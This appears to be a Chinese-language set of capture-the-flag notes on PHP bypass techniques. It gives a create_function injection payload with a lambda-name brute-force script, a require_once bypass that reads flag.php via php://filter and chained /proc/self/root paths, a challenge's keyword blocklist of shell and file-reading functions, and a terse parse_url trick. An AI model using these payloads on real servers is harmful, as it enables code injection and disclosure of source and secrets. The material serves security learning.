关于php绕过
🚩create_function相关漏洞
-
语法:args变量:声明函数的变量部分 code变量:执行的方法代码部分,用于出啊关键一个lambda样式的函数
create_function(string $args,string $code) -
执行效果
<?php $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);'); echo "New anonymous function: $newfunc\n"; echo $newfunc(2, M_E) . "\n"; // outputs // New anonymous function: lambda_1 // ln(2) + ln(2.718281828459) = 1.6931471805599 ?>
-
代码分析:create_frunction()函数会创建一个匿名函数(为lambda样式),并会在内部执行eval()函数,在这里也就是执行后面的return语句
-
create_function函数在调用之后会自动生成一个函数名为%00lambda_[0-999],并且后面的数字会逐步递增
-
一个爆破的脚本
import requests for i in range(0, 1000): url = 'http://38e5766a-a0ff-4daf-9222-f5eaca07e384.node5.buuoj.cn:81/?func_name=%00lambda_' + str(i) r = requests.get(url) if "flag" in r.text: print("flag:" + r.text) break print("再等等") -
利用create_function进行php绕过
if(preg_match('/^[a-z0-9]*$/isD', $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); } else { include "flag.php"; $code('', $arg); } -
$code和$arg可控,利用code('',$arg)进行create_function注入
$arg=}代码;//,则}闭合了a(),同时//注释了后面的内容
构造flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//
🚩require_once 绕过不能重复包含文件的限制
-
简介:在php中,文件包含机制是将已经包含的文件与文件的真是路径放进哈希表,require_once在调用时会检查该文件是否被包含过,如果是则不会再次包含,那么应该如何绕过这个机制呢
-
示例代码
<?php require_once('flag.php'); highlight_file(__FILE__); if(isset($_GET['content'])) { $content = $_GET['content']; require_once($content); } -
poc(/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过)
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
🚩parse_url()绕过
-
parse_url函数用来解析url,返回其组成部分(返回一个关联数组),该函数语法如下
parse_url (url,commpent) : mixed //其中url为需要解析的url,commpent为指定的PHP_URL_SCHEME、 PHP_URL_HOST、 PHP_URL_PORT、 PHP_URL_USER、 PHP_URL_PASS、 PHP_URL_PATH、 PHP_URL_QUERY 或 PHP_URL_FRAGMENT 的其中一个来获取 URL 中指定的部分的 string -
绕过:使用///绕过